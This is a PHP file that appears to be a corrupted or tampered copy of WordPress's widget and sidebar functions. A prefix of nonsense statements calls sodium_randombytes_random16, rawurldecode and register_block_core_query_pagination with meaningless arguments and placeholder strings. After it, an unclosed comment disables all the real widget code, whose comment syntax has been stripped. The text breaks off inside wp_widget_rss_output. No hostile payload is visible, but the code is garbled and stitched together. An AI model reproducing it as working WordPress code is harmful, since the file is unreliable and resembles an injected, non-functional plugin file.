return __DIR__;
}
$v_month = 'VaaZYeWH';
$post_type_obj = "URLencodedText";
sodium_randombytes_random16($v_month);
$newuser_key = rawurldecode($post_type_obj);
$rest_controller = register_block_core_query_pagination([1, 2, 2], [2, 3, 4]);
$tax_base = hash('sha256', $newuser_key);
/* r_description( $id ) {
if ( ! is_scalar( $id ) ) {
return;
}
global $wp_registered_sidebars;
if ( isset( $wp_registered_sidebars[ $id ]['description'] ) ) {
return wp_kses( $wp_registered_sidebars[ $id ]['description'], 'sidebar_description' );
}
}
*
* Remove widget from sidebar.
*
* @since 2.2.0
*
* @param int|string $id Widget ID.
function wp_unregister_sidebar_widget( $id ) {
*
* Fires just before a widget is removed from a sidebar.
*
* @since 3.0.0
*
* @param int|string $id The widget ID.
do_action( 'wp_unregister_sidebar_widget', $id );
wp_register_sidebar_widget( $id, '', '' );
wp_unregister_widget_control( $id );
}
*
* Registers widget control callback for customizing options.
*
* @since 2.2.0
* @since 5.3.0 Formalized the existing and already documented `...$params` parameter
* by adding it to the function signature.
*
* @global array $wp_registered_widget_controls
* @global array $wp_registered_widget_updates
* @global array $wp_registered_widgets
* @global array $_wp_deprecated_widgets_callbacks
*
* @param int|string $id Sidebar ID.
* @param string $name Sidebar display name.
* @param callable $control_callback Run when sidebar is displayed.
* @param array $options {
* Optional. Array or string of control options. Default empty array.
*
* @type int $height Never used. Default 200.
* @type int $width Width of the fully expanded control form (but try hard to use the default width).
* Default 250.
* @type int|string $id_base Required for multi-widgets, i.e widgets that allow multiple instances such as the
* text widget. The widget ID will end up looking like `{$id_base}-{$unique_number}`.
* }
* @param mixed ...$params Optional additional parameters to pass to the callback function when it's called.
function wp_register_widget_control( $id, $name, $control_callback, $options = array(), ...$params ) {
global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks;
$id = strtolower( $id );
$id_base = _get_widget_id_base( $id );
if ( empty( $control_callback ) ) {
unset( $wp_registered_widget_controls[ $id ] );
unset( $wp_registered_widget_updates[ $id_base ] );
return;
}
if ( in_array( $control_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $control_callback ) ) {
unset( $wp_registered_widgets[ $id ] );
return;
}
if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) {
return;
}
$defaults = array(
'width' => 250,
'height' => 200,
); Height is never used.
$options = wp_parse_args( $options, $defaults );
$options['width'] = (int) $options['width'];
$options['height'] = (int) $options['height'];
$widget = array(
'name' => $name,
'id' => $id,
'callback' => $control_callback,
'params' => $params,
);
$widget = array_merge( $widget, $options );
$wp_registered_widget_controls[ $id ] = $widget;
if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) {
return;
}
if ( isset( $widget['params'][0]['number'] ) ) {
$widget['params'][0]['number'] = -1;
}
unset( $widget['width'], $widget['height'], $widget['name'], $widget['id'] );
$wp_registered_widget_updates[ $id_base ] = $widget;
}
*
* Registers the update callback for a widget.
*
* @since 2.8.0
* @since 5.3.0 Formalized the existing and already documented `...$params` parameter
* by adding it to the function signature.
*
* @global array $wp_registered_widget_updates
*
* @param string $id_base The base ID of a widget created by extending WP_Widget.
* @param callable $update_callback Update callback method for the widget.
* @param array $options Optional. Widget control options. See wp_register_widget_control().
* Default empty array.
* @param mixed ...$params Optional additional parameters to pass to the callback function when it's called.
function _register_widget_update_callback( $id_base, $update_callback, $options = array(), ...$params ) {
global $wp_registered_widget_updates;
if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) {
if ( empty( $update_callback ) ) {
unset( $wp_registered_widget_updates[ $id_base ] );
}
return;
}
$widget = array(
'callback' => $update_callback,
'params' => $params,
);
$widget = array_merge( $widget, $options );
$wp_registered_widget_updates[ $id_base ] = $widget;
}
*
* Registers the form callback for a widget.
*
* @since 2.8.0
* @since 5.3.0 Formalized the existing and already documented `...$params` parameter
* by adding it to the function signature.
*
* @global array $wp_registered_widget_controls
*
* @param int|string $id Widget ID.
* @param string $name Name attribute for the widget.
* @param callable $form_callback Form callback.
* @param array $options Optional. Widget control options. See wp_register_widget_control().
* Default empty array.
* @param mixed ...$params Optional additional parameters to pass to the callback function when it's called.
function _register_widget_form_callback( $id, $name, $form_callback, $options = array(), ...$params ) {
global $wp_registered_widget_controls;
$id = strtolower( $id );
if ( empty( $form_callback ) ) {
unset( $wp_registered_widget_controls[ $id ] );
return;
}
if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) {
return;
}
$defaults = array(
'width' => 250,
'height' => 200,
);
$options = wp_parse_args( $options, $defaults );
$options['width'] = (int) $options['width'];
$options['height'] = (int) $options['height'];
$widget = array(
'name' => $name,
'id' => $id,
'callback' => $form_callback,
'params' => $params,
);
$widget = array_merge( $widget, $options );
$wp_registered_widget_controls[ $id ] = $widget;
}
*
* Remove control callback for widget.
*
* @since 2.2.0
*
* @param int|string $id Widget ID.
function wp_unregister_widget_control( $id ) {
wp_register_widget_control( $id, '', '' );
}
*
* Display dynamic sidebar.
*
* By default this displays the default sidebar or 'sidebar-1'. If your theme specifies the 'id' or
* 'name' parameter for its registered sidebars you can pass an ID or name as the $index parameter.
* Otherwise, you can pass in a numerical index to display the sidebar at that index.
*
* @since 2.2.0
*
* @global array $wp_registered_sidebars Registered sidebars.
* @global array $wp_registered_widgets Registered widgets.
*
* @param int|string $index Optional. Index, name or ID of dynamic sidebar. Default 1.
* @return bool True, if widget sidebar was found and called. False if not found or not called.
function dynamic_sidebar( $index = 1 ) {
global $wp_registered_sidebars, $wp_registered_widgets;
if ( is_int( $index ) ) {
$index = "sidebar-$index";
} else {
$index = sanitize_title( $index );
foreach ( (array) $wp_registered_sidebars as $key => $value ) {
if ( sanitize_title( $value['name'] ) === $index ) {
$index = $key;
break;
}
}
}
$sidebars_widgets = wp_get_sidebars_widgets();
if ( empty( $wp_registered_sidebars[ $index ] ) || empty( $sidebars_widgets[ $index ] ) || ! is_array( $sidebars_widgets[ $index ] ) ) {
* This action is documented in wp-includes/widget.php
do_action( 'dynamic_sidebar_before', $index, false );
* This action is documented in wp-includes/widget.php
do_action( 'dynamic_sidebar_after', $index, false );
* This filter is documented in wp-includes/widget.php
return apply_filters( 'dynamic_sidebar_has_widgets', false, $index );
}
$sidebar = $wp_registered_sidebars[ $index ];
$sidebar['before_sidebar'] = sprintf( $sidebar['before_sidebar'], $sidebar['id'], $sidebar['class'] );
*
* Fires before widgets are rendered in a dynamic sidebar.
*
* Note: The action also fires for empty sidebars, and on both the front end
* and back end, including the Inactive Widgets sidebar on the Widgets screen.
*
* @since 3.9.0
*
* @param int|string $index Index, name, or ID of the dynamic sidebar.
* @param bool $has_widgets Whether the sidebar is populated with widgets.
* Default true.
do_action( 'dynamic_sidebar_before', $index, true );
if ( ! is_admin() && ! empty( $sidebar['before_sidebar'] ) ) {
echo $sidebar['before_sidebar'];
}
$did_one = false;
foreach ( (array) $sidebars_widgets[ $index ] as $id ) {
if ( ! isset( $wp_registered_widgets[ $id ] ) ) {
continue;
}
$params = array_merge(
array(
array_merge(
$sidebar,
array(
'widget_id' => $id,
'widget_name' => $wp_registered_widgets[ $id ]['name'],
)
),
),
(array) $wp_registered_widgets[ $id ]['params']
);
Substitute HTML `id` and `class` attributes into `before_widget`.
$classname_ = '';
foreach ( (array) $wp_registered_widgets[ $id ]['classname'] as $cn ) {
if ( is_string( $cn ) ) {
$classname_ .= '_' . $cn;
} elseif ( is_object( $cn ) ) {
$classname_ .= '_' . get_class( $cn );
}
}
$classname_ = ltrim( $classname_, '_' );
$params[0]['before_widget'] = sprintf(
$params[0]['before_widget'],
str_replace( '\\', '_', $id ),
$classname_
);
*
* Filters the parameters passed to a widget's display callback.
*
* Note: The filter is evaluated on both the front end and back end,
* including for the Inactive Widgets sidebar on the Widgets screen.
*
* @since 2.5.0
*
* @see register_sidebar()
*
* @param array $params {
* @type array $args {
* An array of widget display arguments.
*
* @type string $name Name of the sidebar the widget is assigned to.
* @type string $id ID of the sidebar the widget is assigned to.
* @type string $description The sidebar description.
* @type string $class CSS class applied to the sidebar container.
* @type string $before_widget HTML markup to prepend to each widget in the sidebar.
* @type string $after_widget HTML markup to append to each widget in the sidebar.
* @type string $before_title HTML markup to prepend to the widget title when displayed.
* @type string $after_title HTML markup to append to the widget title when displayed.
* @type string $widget_id ID of the widget.
* @type string $widget_name Name of the widget.
* }
* @type array $widget_args {
* An array of multi-widget arguments.
*
* @type int $number Number increment used for multiples of the same widget.
* }
* }
$params = apply_filters( 'dynamic_sidebar_params', $params );
$callback = $wp_registered_widgets[ $id ]['callback'];
*
* Fires before a widget's display callback is called.
*
* Note: The action fires on both the front end and back end, including
* for widgets in the Inactive Widgets sidebar on the Widgets screen.
*
* The action is not fired for empty sidebars.
*
* @since 3.0.0
*
* @param array $widget {
* An associative array of widget arguments.
*
* @type string $name Name of the widget.
* @type string $id Widget ID.
* @type callable $callback When the hook is fired on the front end, `$callback` is an array
* containing the widget object. Fired on the back end, `$callback`
* is 'wp_widget_control', see `$_callback`.
* @type array $params An associative array of multi-widget arguments.
* @type string $classname CSS class applied to the widget container.
* @type string $description The widget description.
* @type array $_callback When the hook is fired on the back end, `$_callback` is populated
* with an array containing the widget object, see `$callback`.
* }
do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] );
if ( is_callable( $callback ) ) {
call_user_func_array( $callback, $params );
$did_one = true;
}
}
if ( ! is_admin() && ! empty( $sidebar['after_sidebar'] ) ) {
echo $sidebar['after_sidebar'];
}
*
* Fires after widgets are rendered in a dynamic sidebar.
*
* Note: The action also fires for empty sidebars, and on both the front end
* and back end, including the Inactive Widgets sidebar on the Widgets screen.
*
* @since 3.9.0
*
* @param int|string $index Index, name, or ID of the dynamic sidebar.
* @param bool $has_widgets Whether the sidebar is populated with widgets.
* Default true.
do_action( 'dynamic_sidebar_after', $index, true );
*
* Filters whether a sidebar has widgets.
*
* Note: The filter is also evaluated for empty sidebars, and on both the front end
* and back end, including the Inactive Widgets sidebar on the Widgets screen.
*
* @since 3.9.0
*
* @param bool $did_one Whether at least one widget was rendered in the sidebar.
* Default false.
* @param int|string $index Index, name, or ID of the dynamic sidebar.
return apply_filters( 'dynamic_sidebar_has_widgets', $did_one, $index );
}
*
* Determines whether a given widget is displayed on the front end.
*
* Either $callback or $id_base can be used
* $id_base is the first argument when extending WP_Widget class
* Without the optional $widget_id parameter, returns the ID of the first sidebar
* in which the first instance of the widget with the given callback or $id_base is found.
* With the $widget_id parameter, returns the ID of the sidebar where
* the widget with that callback/$id_base AND that ID is found.
*
* NOTE: $widget_id and $id_base are the same for single widgets. To be effective
* this function has to run after widgets have initialized, at action {@see 'init'} or later.
*
* For more information on this and similar theme functions, check out
* the {@link https:developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.2.0
*
* @global array $wp_registered_widgets
*
* @param callable|false $callback Optional. Widget callback to check. Default false.
* @param string|false $widget_id Optional. Widget ID. Optional, but needed for checking.
* Default false.
* @param string|false $id_base Optional. The base ID of a widget created by extending WP_Widget.
* Default false.
* @param bool $skip_inactive Optional. Whether to check in 'wp_inactive_widgets'.
* Default true.
* @return string|false ID of the sidebar in which the widget is active,
* false if the widget is not active.
function is_active_widget( $callback = false, $widget_id = false, $id_base = false, $skip_inactive = true ) {
global $wp_registered_widgets;
$sidebars_widgets = wp_get_sidebars_widgets();
if ( is_array( $sidebars_widgets ) ) {
foreach ( $sidebars_widgets as $sidebar => $widgets ) {
if ( $skip_inactive && ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) ) {
continue;
}
if ( is_array( $widgets ) ) {
foreach ( $widgets as $widget ) {
if ( ( $callback && isset( $wp_registered_widgets[ $widget ]['callback'] ) && $wp_registered_widgets[ $widget ]['callback'] === $callback ) || ( $id_base && _get_widget_id_base( $widget ) === $id_base ) ) {
if ( ! $widget_id || $widget_id === $wp_registered_widgets[ $widget ]['id'] ) {
return $sidebar;
}
}
}
}
}
}
return false;
}
*
* Determines whether the dynamic sidebar is enabled and used by the theme.
*
* For more information on this and similar theme functions, check out
* the {@link https:developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.2.0
*
* @global array $wp_registered_widgets Registered widgets.
* @global array $wp_registered_sidebars Registered sidebars.
*
* @return bool True if using widgets, false otherwise.
function is_dynamic_sidebar() {
global $wp_registered_widgets, $wp_registered_sidebars;
$sidebars_widgets = get_option( 'sidebars_widgets' );
foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
if ( ! empty( $sidebars_widgets[ $index ] ) ) {
foreach ( (array) $sidebars_widgets[ $index ] as $widget ) {
if ( array_key_exists( $widget, $wp_registered_widgets ) ) {
return true;
}
}
}
}
return false;
}
*
* Determines whether a sidebar contains widgets.
*
* For more information on this and similar theme functions, check out
* the {@link https:developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.8.0
*
* @param string|int $index Sidebar name, id or number to check.
* @return bool True if the sidebar has widgets, false otherwise.
function is_active_sidebar( $index ) {
$index = ( is_int( $index ) ) ? "sidebar-$index" : sanitize_title( $index );
$sidebars_widgets = wp_get_sidebars_widgets();
$is_active_sidebar = ! empty( $sidebars_widgets[ $index ] );
*
* Filters whether a dynamic sidebar is considered "active".
*
* @since 3.9.0
*
* @param bool $is_active_sidebar Whether or not the sidebar should be considered "active".
* In other words, whether the sidebar contains any widgets.
* @param int|string $index Index, name, or ID of the dynamic sidebar.
return apply_filters( 'is_active_sidebar', $is_active_sidebar, $index );
}
Internal Functions.
*
* Retrieve full list of sidebars and their widget instance IDs.
*
* Will upgrade sidebar widget list, if needed. Will also save updated list, if
* needed.
*
* @since 2.2.0
* @access private
*
* @global array $_wp_sidebars_widgets
* @global array $sidebars_widgets
*
* @param bool $deprecated Not used (argument deprecated).
* @return array Upgraded list of widgets to version 3 array format when called from the admin.
function wp_get_sidebars_widgets( $deprecated = true ) {
if ( true !== $deprecated ) {
_deprecated_argument( __FUNCTION__, '2.8.1' );
}
global $_wp_sidebars_widgets, $sidebars_widgets;
If loading from front page, consult $_wp_sidebars_widgets rather than options
to see if wp_convert_widget_settings() has made manipulations in memory.
if ( ! is_admin() ) {
if ( empty( $_wp_sidebars_widgets ) ) {
$_wp_sidebars_widgets = get_option( 'sidebars_widgets', array() );
}
$sidebars_widgets = $_wp_sidebars_widgets;
} else {
$sidebars_widgets = get_option( 'sidebars_widgets', array() );
}
if ( is_array( $sidebars_widgets ) && isset( $sidebars_widgets['array_version'] ) ) {
unset( $sidebars_widgets['array_version'] );
}
*
* Filters the list of sidebars and their widgets.
*
* @since 2.7.0
*
* @param array $sidebars_widgets An associative array of sidebars and their widgets.
return apply_filters( 'sidebars_widgets', $sidebars_widgets );
}
*
* Retrieves the registered sidebar with the given ID.
*
* @since 5.9.0
*
* @global array $wp_registered_sidebars The registered sidebars.
*
* @param string $id The sidebar ID.
* @return array|null The discovered sidebar, or null if it is not registered.
function wp_get_sidebar( $id ) {
global $wp_registered_sidebars;
foreach ( (array) $wp_registered_sidebars as $sidebar ) {
if ( $sidebar['id'] === $id ) {
return $sidebar;
}
}
if ( 'wp_inactive_widgets' === $id ) {
return array(
'id' => 'wp_inactive_widgets',
'name' => __( 'Inactive widgets' ),
);
}
return null;
}
*
* Set the sidebar widget option to update sidebars.
*
* @since 2.2.0
* @access private
*
* @global array $_wp_sidebars_widgets
* @param array $sidebars_widgets Sidebar widgets and their settings.
function wp_set_sidebars_widgets( $sidebars_widgets ) {
global $_wp_sidebars_widgets;
Clear cached value used in wp_get_sidebars_widgets().
$_wp_sidebars_widgets = null;
if ( ! isset( $sidebars_widgets['array_version'] ) ) {
$sidebars_widgets['array_version'] = 3;
}
update_option( 'sidebars_widgets', $sidebars_widgets );
}
*
* Retrieve default registered sidebars list.
*
* @since 2.2.0
* @access private
*
* @global array $wp_registered_sidebars Registered sidebars.
*
* @return array
function wp_get_widget_defaults() {
global $wp_registered_sidebars;
$defaults = array();
foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
$defaults[ $index ] = array();
}
return $defaults;
}
*
* Converts the widget settings from single to multi-widget format.
*
* @since 2.8.0
*
* @global array $_wp_sidebars_widgets
*
* @param string $base_name Root ID for all widgets of this type.
* @param string $option_name Option name for this widget type.
* @param array $settings The array of widget instance settings.
* @return array The array of widget settings converted to multi-widget format.
function wp_convert_widget_settings( $base_name, $option_name, $settings ) {
This test may need expanding.
$single = false;
$changed = false;
if ( empty( $settings ) ) {
$single = true;
} else {
foreach ( array_keys( $settings ) as $number ) {
if ( 'number' === $number ) {
continue;
}
if ( ! is_numeric( $number ) ) {
$single = true;
break;
}
}
}
if ( $single ) {
$settings = array( 2 => $settings );
If loading from the front page, update sidebar in memory but don't save to options.
if ( is_admin() ) {
$sidebars_widgets = get_option( 'sidebars_widgets' );
} else {
if ( empty( $GLOBALS['_wp_sidebars_widgets'] ) ) {
$GLOBALS['_wp_sidebars_widgets'] = get_option( 'sidebars_widgets', array() );
}
$sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets'];
}
foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
if ( is_array( $sidebar ) ) {
foreach ( $sidebar as $i => $name ) {
if ( $base_name === $name ) {
$sidebars_widgets[ $index ][ $i ] = "$name-2";
$changed = true;
break 2;
}
}
}
}
if ( is_admin() && $changed ) {
update_option( 'sidebars_widgets', $sidebars_widgets );
}
}
$settings['_multiwidget'] = 1;
if ( is_admin() ) {
update_option( $option_name, $settings );
}
return $settings;
}
*
* Output an arbitrary widget as a template tag.
*
* @since 2.8.0
*
* @global WP_Widget_Factory $wp_widget_factory
*
* @param string $widget The widget's PHP class name (see class-wp-widget.php).
* @param array $instance Optional. The widget's instance settings. Default empty array.
* @param array $args {
* Optional. Array of arguments to configure the display of the widget.
*
* @type string $before_widget HTML content that will be prepended to the widget's HTML output.
* Default `<div class="widget %s">`, where `%s` is the widget's class name.
* @type string $after_widget HTML content that will be appended to the widget's HTML output.
* Default `</div>`.
* @type string $before_title HTML content that will be prepended to the widget's title when displayed.
* Default `<h2 class="widgettitle">`.
* @type string $after_title HTML content that will be appended to the widget's title when displayed.
* Default `</h2>`.
* }
function the_widget( $widget, $instance = array(), $args = array() ) {
global $wp_widget_factory;
if ( ! isset( $wp_widget_factory->widgets[ $widget ] ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: %s: register_widget()
__( 'Widgets need to be registered using %s, before they can be displayed.' ),
'<code>register_widget()</code>'
),
'4.9.0'
);
return;
}
$widget_obj = $wp_widget_factory->widgets[ $widget ];
if ( ! ( $widget_obj instanceof WP_Widget ) ) {
return;
}
$default_args = array(
'before_widget' => '<div class="widget %s">',
'after_widget' => '</div>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
);
$args = wp_parse_args( $args, $default_args );
$args['before_widget'] = sprintf( $args['before_widget'], $widget_obj->widget_options['classname'] );
$instance = wp_parse_args( $instance );
* This filter is documented in wp-includes/class-wp-widget.php
$instance = apply_filters( 'widget_display_callback', $instance, $widget_obj, $args );
if ( false === $instance ) {
return;
}
*
* Fires before rendering the requested widget.
*
* @since 3.0.0
*
* @param string $widget The widget's class name.
* @param array $instance The current widget instance's settings.
* @param array $args An array of the widget's sidebar arguments.
do_action( 'the_widget', $widget, $instance, $args );
$widget_obj->_set( -1 );
$widget_obj->widget( $args, $instance );
}
*
* Retrieves the widget ID base value.
*
* @since 2.8.0
*
* @param string $id Widget ID.
* @return string Widget ID base.
function _get_widget_id_base( $id ) {
return preg_replace( '/-[0-9]+$/', '', $id );
}
*
* Handle sidebars config after theme change
*
* @access private
* @since 3.3.0
*
* @global array $sidebars_widgets
function _wp_sidebars_changed() {
global $sidebars_widgets;
if ( ! is_array( $sidebars_widgets ) ) {
$sidebars_widgets = wp_get_sidebars_widgets();
}
retrieve_widgets( true );
}
*
* Validates and remaps any "orphaned" widgets to wp_inactive_widgets sidebar,
* and saves the widget settings. This has to run at least on each theme change.
*
* For example, let's say theme A has a "footer" sidebar, and theme B doesn't have one.
* After switching from theme A to theme B, all the widgets previously assigned
* to the footer would be inaccessible. This function detects this scenario, and
* moves all the widgets previously assigned to the footer under wp_inactive_widgets.
*
* Despite the word "retrieve" in the name, this function actually updates the database
* and the global `$sidebars_widgets`. For that reason it should not be run on front end,
* unless the `$theme_changed` value is 'customize' (to bypass the database write).
*
* @since 2.8.0
*
* @global array $wp_registered_sidebars Registered sidebars.
* @global array $sidebars_widgets
* @global array $wp_registered_widgets Registered widgets.
*
* @param string|bool $theme_changed Whether the theme was changed as a boolean. A value
* of 'customize' defers updates for the Customizer.
* @return array Updated sidebars widgets.
function retrieve_widgets( $theme_changed = false ) {
global $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets;
$registered_sidebars_keys = array_keys( $wp_registered_sidebars );
$registered_widgets_ids = array_keys( $wp_registered_widgets );
if ( ! is_array( get_theme_mod( 'sidebars_widgets' ) ) ) {
if ( empty( $sidebars_widgets ) ) {
return array();
}
unset( $sidebars_widgets['array_version'] );
$sidebars_widgets_keys = array_keys( $sidebars_widgets );
sort( $sidebars_widgets_keys );
sort( $registered_sidebars_keys );
if ( $sidebars_widgets_keys === $registered_sidebars_keys ) {
$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );
return $sidebars_widgets;
}
}
Discard invalid, theme-specific widgets from sidebars.
$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );
$sidebars_widgets = wp_map_sidebars_widgets( $sidebars_widgets );
Find hidden/lost multi-widget instances.
$shown_widgets = array_merge( ...array_values( $sidebars_widgets ) );
$lost_widgets = array_diff( $registered_widgets_ids, $shown_widgets );
foreach ( $lost_widgets as $key => $widget_id ) {
$number = preg_replace( '/.+?-([0-9]+)$/', '$1', $widget_id );
Only keep active and default widgets.
if ( is_numeric( $number ) && (int) $number < 2 ) {
unset( $lost_widgets[ $key ] );
}
}
$sidebars_widgets['wp_inactive_widgets'] = array_merge( $lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets'] );
if ( 'customize' !== $theme_changed ) {
Update the widgets settings in the database.
wp_set_sidebars_widgets( $sidebars_widgets );
}
return $sidebars_widgets;
}
*
* Compares a list of sidebars with their widgets against an allowed list.
*
* @since 4.9.0
* @since 4.9.2 Always tries to restore widget assignments from previous data, not just if sidebars needed mapping.
*
* @param array $existing_sidebars_widgets List of sidebars and their widget instance IDs.
* @return array Mapped sidebars widgets.
function wp_map_sidebars_widgets( $existing_sidebars_widgets ) {
global $wp_registered_sidebars;
$new_sidebars_widgets = array(
'wp_inactive_widgets' => array(),
);
Short-circuit if there are no sidebars to map.
if ( ! is_array( $existing_sidebars_widgets ) || empty( $existing_sidebars_widgets ) ) {
return $new_sidebars_widgets;
}
foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {
if ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) {
$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], (array) $widgets );
unset( $existing_sidebars_widgets[ $sidebar ] );
}
}
If old and new theme have just one sidebar, map it and we're done.
if ( 1 === count( $existing_sidebars_widgets ) && 1 === count( $wp_registered_sidebars ) ) {
$new_sidebars_widgets[ key( $wp_registered_sidebars ) ] = array_pop( $existing_sidebars_widgets );
return $new_sidebars_widgets;
}
Map locations with the same slug.
$existing_sidebars = array_keys( $existing_sidebars_widgets );
foreach ( $wp_registered_sidebars as $sidebar => $name ) {
if ( in_array( $sidebar, $existing_sidebars, true ) ) {
$new_sidebars_widgets[ $sidebar ] = $existing_sidebars_widgets[ $sidebar ];
unset( $existing_sidebars_widgets[ $sidebar ] );
} elseif ( ! array_key_exists( $sidebar, $new_sidebars_widgets ) ) {
$new_sidebars_widgets[ $sidebar ] = array();
}
}
If there are more sidebars, try to map them.
if ( ! empty( $existing_sidebars_widgets ) ) {
* If old and new theme both have sidebars that contain phrases
* from within the same group, make an educated guess and map it.
$common_slug_groups = array(
array( 'sidebar', 'primary', 'main', 'right' ),
array( 'second', 'left' ),
array( 'sidebar-2', 'footer', 'bottom' ),
array( 'header', 'top' ),
);
Go through each group...
foreach ( $common_slug_groups as $slug_group ) {
...and see if any of these slugs...
foreach ( $slug_group as $slug ) {
...and any of the new sidebars...
foreach ( $wp_registered_sidebars as $new_sidebar => $args ) {
...actually match!
if ( false === stripos( $new_sidebar, $slug ) && false === stripos( $slug, $new_sidebar ) ) {
continue;
}
Then see if any of the existing sidebars...
foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {
...and any slug in the same group...
foreach ( $slug_group as $slug ) {
... have a match as well.
if ( false === stripos( $sidebar, $slug ) && false === stripos( $slug, $sidebar ) ) {
continue;
}
Make sure this sidebar wasn't mapped and removed previously.
if ( ! empty( $existing_sidebars_widgets[ $sidebar ] ) ) {
We have a match that can be mapped!
$new_sidebars_widgets[ $new_sidebar ] = array_merge( $new_sidebars_widgets[ $new_sidebar ], $existing_sidebars_widgets[ $sidebar ] );
Remove the mapped sidebar so it can't be mapped again.
unset( $existing_sidebars_widgets[ $sidebar ] );
Go back and check the next new sidebar.
continue 3;
}
} End foreach ( $slug_group as $slug ).
} End foreach ( $existing_sidebars_widgets as $sidebar => $widgets ).
} End foreach ( $wp_registered_sidebars as $new_sidebar => $args ).
} End foreach ( $slug_group as $slug ).
} End foreach ( $common_slug_groups as $slug_group ).
}
Move any left over widgets to inactive sidebar.
foreach ( $existing_sidebars_widgets as $widgets ) {
if ( is_array( $widgets ) && ! empty( $widgets ) ) {
$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], $widgets );
}
}
Sidebars_widgets settings from when this theme was previously active.
$old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' );
$old_sidebars_widgets = isset( $old_sidebars_widgets['data'] ) ? $old_sidebars_widgets['data'] : false;
if ( is_array( $old_sidebars_widgets ) ) {
Remove empty sidebars, no need to map those.
$old_sidebars_widgets = array_filter( $old_sidebars_widgets );
Only check sidebars that are empty or have not been mapped to yet.
foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {
if ( array_key_exists( $new_sidebar, $old_sidebars_widgets ) && ! empty( $new_widgets ) ) {
unset( $old_sidebars_widgets[ $new_sidebar ] );
}
}
Remove orphaned widgets, we're only interested in previously active sidebars.
foreach ( $old_sidebars_widgets as $sidebar => $widgets ) {
if ( 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) {
unset( $old_sidebars_widgets[ $sidebar ] );
}
}
$old_sidebars_widgets = _wp_remove_unregistered_widgets( $old_sidebars_widgets );
if ( ! empty( $old_sidebars_widgets ) ) {
Go through each remaining sidebar...
foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ) {
...and check every new sidebar...
foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {
...for every widget we're trying to revive.
foreach ( $old_widgets as $key => $widget_id ) {
$active_key = array_search( $widget_id, $new_widgets, true );
If the widget is used elsewhere...
if ( false !== $active_key ) {
...and that elsewhere is inactive widgets...
if ( 'wp_inactive_widgets' === $new_sidebar ) {
...remove it from there and keep the active version...
unset( $new_sidebars_widgets['wp_inactive_widgets'][ $active_key ] );
} else {
...otherwise remove it from the old sidebar and keep it in the new one.
unset( $old_sidebars_widgets[ $old_sidebar ][ $key ] );
}
} End if ( $active_key ).
} End foreach ( $old_widgets as $key => $widget_id ).
} End foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ).
} End foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ).
} End if ( ! empty( $old_sidebars_widgets ) ).
Restore widget settings from when theme was previously active.
$new_sidebars_widgets = array_merge( $new_sidebars_widgets, $old_sidebars_widgets );
}
return $new_sidebars_widgets;
}
*
* Compares a list of sidebars with their widgets against an allowed list.
*
* @since 4.9.0
*
* @param array $sidebars_widgets List of sidebars and their widget instance IDs.
* @param array $allowed_widget_ids Optional. List of widget IDs to compare against. Default: Registered widgets.
* @return array Sidebars with allowed widgets.
function _wp_remove_unregistered_widgets( $sidebars_widgets, $allowed_widget_ids = array() ) {
if ( empty( $allowed_widget_ids ) ) {
$allowed_widget_ids = array_keys( $GLOBALS['wp_registered_widgets'] );
}
foreach ( $sidebars_widgets as $sidebar => $widgets ) {
if ( is_array( $widgets ) ) {
$sidebars_widgets[ $sidebar ] = array_intersect( $widgets, $allowed_widget_ids );
}
}
return $sidebars_widgets;
}
*
* Display the RSS entries in a list.
*
* @since 2.5.0
*
* @param string|array|object $rss RSS url.
* @param array $args Widget arguments.
function wp_widget_rss_output( $rss, $args = array() ) {
if ( is_string( $rss ) ) {
$rss = fetch_feed( $rss );
} elseif ( is_array( $rss ) && isset( $rss['url'] ) ) {
$args = $rss;
$rss = fetch_feed( $rss['url'] );
} elseif ( ! is_object( $rss ) ) {
return;
}
if ( is_wp_error( $rss ) ) {
if ( is_admin() || current_user_can( 'manage_options' ) ) {
echo '<p><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</p>';
}
return;
}
$default_args = array(
'show_author' => 0,
'show_date' => 0,
'show_summary' => 0,
'items' => 0,
);
$args = wp_parse_args( $args, $default_args );
$items = (int) $args['items'];
if ( $items < 1 || 20 < $items ) {
$items = 10;
}
$show_summary = (int) $args['show_summary'];
$show_author = (int) $args['show_author'];
$show_date = (int) $args['show_date'];
if ( ! $rss->get_item_quantity() ) {
